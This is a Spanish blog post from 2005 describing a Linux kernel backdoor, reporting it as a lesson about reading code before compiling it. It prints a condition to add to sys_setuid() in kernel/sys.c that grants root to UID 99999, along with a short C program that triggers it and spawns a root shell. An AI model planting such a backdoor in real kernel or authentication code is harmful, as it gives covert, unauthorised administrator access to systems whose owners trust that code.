12 de julio de 2005

A veces es bueno leer el código que compilas

Hace unas noches navegaba en la obscuridad de la noche y de pronto me encontré con cosas interesantes en el sitio: http://www.neosecurityteam.net. De entrada, por más escaneos que le hice con el nmap no obtuve mucha información que digamos.

Acto seguido decidí hacer lo que los mortales y simplemente apuntar el navegador hacia ese sitio y navegando llegué a una sección de Manuales y específicamente sobre Linux. Ahí encontré uno bastante interesante que hace las veces de guía sobre cómo dejar una puerta trasera desde el mismísimo núcleo del kernel.

Por principio, ¿qué es una puerta trasera o backdoor? Lo explicaré con un ejemplo:
Generalmente para ganar acceso a un sistema, ya sea un sistema operativo o una simple aplicación necesitamos autenticarnos, es decir, que por medio de un canal único y establecido nos comunicaremos con la aplicación y le haremos saber nuestra identidad (Esto es muy relativo por cierto). Si los datos con los que lo alimentamos fueron los correctos entónces ganaremos acceso y una serie de privilegios que nos permitirán actuar con el sistema.
Ahora, supóngase que en esa aplicación se deja un canal alternativo por medio del cual se puede ganar acceso y quizás privilegios de super usuario o administrador. Este canal alternativo puede ser declarado al dueño del sistema como una medida de rescate, o bien puede omitirsele con el fin de ganar acceso no autorizado a posteriori. Como en todos los casos el valor ético de una puerta trasera está en tela de juicio y depende de su uso final por lo cual no entraré en honduras.
Lo que a mi juicio es interesante es que no es común hallar puertas traseras para un núcleo completo pero sí para aplicaciones. Esto obvia decir en el sentido de que es más sencillo distribuír una utilería troyaneada que un núcleo completo.

Ahora, ¿cómo lo hace?.
Bastante simple. La respuesta radica en un archivo fuente del kernel, el kernel/sys.c a saber, y más específicamente en la función sys_setuid() (Más información en: http://glide.stanford.edu/lxr/ident?v=linux-2.6.5;i=sys_setuid) , en la línea 726 para ser precisos. Esta función es la encargada de cambiar el rUID y el eUID (real UID y effective UID) según sea necesario.
La idea es la introducción de una condición mediante la cual se le asigna el UID 0 al usuario con UID 99999:

if (uid == 99999) {
current->uid = 0;
current->gid = 0;
current->euid = 0;
current->egid = 0;
return 0;
}


De esta forma, después de compilado el kernel, cada ves que entremos al sistema bajo la identidad de un usuario cuyo UID sea el 99999, el sistema automáticamente nos otorgará los privilegios de administrador. O bien, al ejecutar un programa con un código como el siguiente:

main() {
setuid(99999);
system("/bin/sh");
return 0;
}


El código y el artículo completo los pueden ver en http://www.neosecurityteam.net/index.php?pagina=papers&pID=59

Este post nos debería dejar una moraleja: "A veces es bueno leer el código que compilas..."

No hay comentarios.: